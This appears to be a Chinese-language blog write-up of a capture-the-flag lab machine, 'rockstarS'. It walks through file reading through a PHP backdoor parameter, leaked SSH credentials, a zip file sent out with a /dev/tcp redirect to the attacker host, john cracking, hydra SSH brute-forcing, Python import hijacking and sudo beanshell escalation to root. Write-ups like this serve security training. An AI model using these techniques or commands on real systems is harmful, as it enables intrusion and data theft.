TheHackersLabs rockstarS writeup

信息收集

nmap

image

image

dirb

dirb http://192.168.43.166 ./tmp_dict

image

立足点

通过信息收集阶段得到的信息来看,目标后端是php的,在web上目前只发现了index.php和db.php两个页面,db.php通过名字来看存放的应该是数据库连接信息,那我们就先去index.php看看

image

只有一行文本,源代码里也没东西

image

这段文本目前没感觉到有什么特别的含义,但这个页面是index.php,如果只用来呈现一行文本的话为什么不用html而要用php呢?所以这里可能存在隐藏的查询参数,我们去fuzz一下。

这里我先用的是arjun,但不管是get还是post都没找到参数,然后我通过wfuzz试了后才找到查询参数backdoor的,不知道为什么arjun找不到,backdoor在它的字典里应该是有的啊。

image

如果页面存在隐藏的查询参数的话,一般都是rce或者文件读取,所以fuzz的时候可以挨个试一下,这里就是文件读取的

image

这里我看它能读取远程服务器上的文件,我就以为它后端是include,但是通过data://伪协议又执行不了php代码,然后通过php://filter看了index.php的源码后才发现这里它用的是file_get_contents

<?php
echo 'Yo no soy tu marido';

$backdoor = $_POST["backdoor"];
echo file_get_contents($backdoor);
?>

第一次知道它也可以读远程服务器上的文件...  那接下来的话就是去看一下db.php里的内容了

<?php
$usuario = "shark";
$contrasena = "djbasdnbasdas&$AAAALLthl"; 
?>

userFlag

拿到了一个用户的账密,我们ssh上去

image

这里在我们的家目录中发现了一个bof的可执行文件,然后通过sudo -l发现可以以wvverez用户的权限执行它,那这里很明显作者是向让我们通过bof提权到wvverez,但这里由于bof是在我们的家目录下,所以我们不用去管原来这个bof里写的是什么,只需要把它删掉,然后重新创建一个bof,然后直接写入bash就可以提权上去了。

这里我刚开始看的时候判断出这里的提权是一个逆向相关的,但我没接触过逆向,且刚开始在这里第一时间没想到去替换bof,我是想先去/home下看一下每个用户的目录权限

image

我发现wvverez用户的家目录其他人也能进去,所以这里我就直接进去看了下里面的内容

image

发现里面有个zip文件,不出意外的话它应该是有密码的,我们把它拿到kali上尝试着解一下

cat rubiales.zip > /dev/tcp/192.168.43.180/10000(靶机上执行)
nc -lvp 10000(kali上执行)

拿过去后先提取zip的hash

zip2john rubiales.zip > zip_hash

然后通过john跑一下

image

这里我之前解过了,拿到密码后就可以看zip里的内容了

image

给了一串密码,我们也不知道哪个是有用的,所以只能爆破了,先去拿用户列表,在靶机上执行

cat /etc/passwd | grep '/bin/bash' | awk -F':' '{print $1}'

拿到用户列表后就可以通过hydra爆破了

hydra -L tmp_users -P passwords.txt ssh://192.168.43.108 -vV -u -f -t 2

# -u:表示采用用户轮询的方式,即先对同一个密码尝试所有用户(默认是密码轮询)
# -f:在找到一个正确的账密后退出

也可以不加-f,因为可能能找到有多个有效的账密,不过这里就只有一个(这里靶机出了点问题,重新导入了一下,所以IP变了)

 image

然后我们su到loseey上去

image

还是和第一次提权一样的问题,可以直接把rubiales.py替换掉,但这里我们还是看一下这个py里的内容

import psutil


def print_virtual_memory():
    vm = psutil.virtual_memory()
    print(f"Total: {vm.total} Available: {vm.available}")


if __name__ == "__main__":
    print_virtual_memory()

发现它导入了psutil库,而如果在和该py文件同一个目录中存在一个psutil.py文件的话,import psutil在大多数情况下是会优先导入psutil.py文件中的内容的,那么接下来就是在当前目录下创建一个psutil.py然后里面写我们自己的恶意代码:

import os
os.system('/bin/bash')

image

这样就拿到username3的权限了,然后在家目录下可以拿到userflag

userFlag:7f091293ad9b1c1c3377479ae63f49dd(MD5)

rootFlag

sudo -l 看一下

image

可以以root的身份运行bsh命令,bsh -> beanshell,它是一个执行java代码的解释器,这里我们是能够直接cat bsh中的内容的,所以这里可以直接给AI它会把提权方案给你

image

然后bash -p就可以提权到root了

image

在家目录下拿到rootflag

rootFlag:70e9e52ccdfe11281d0172cbb72ea49b(MD5)

 

posted @ 2026-04-14 12:27  sky2dawn  阅读(12)  评论(0)    收藏  举报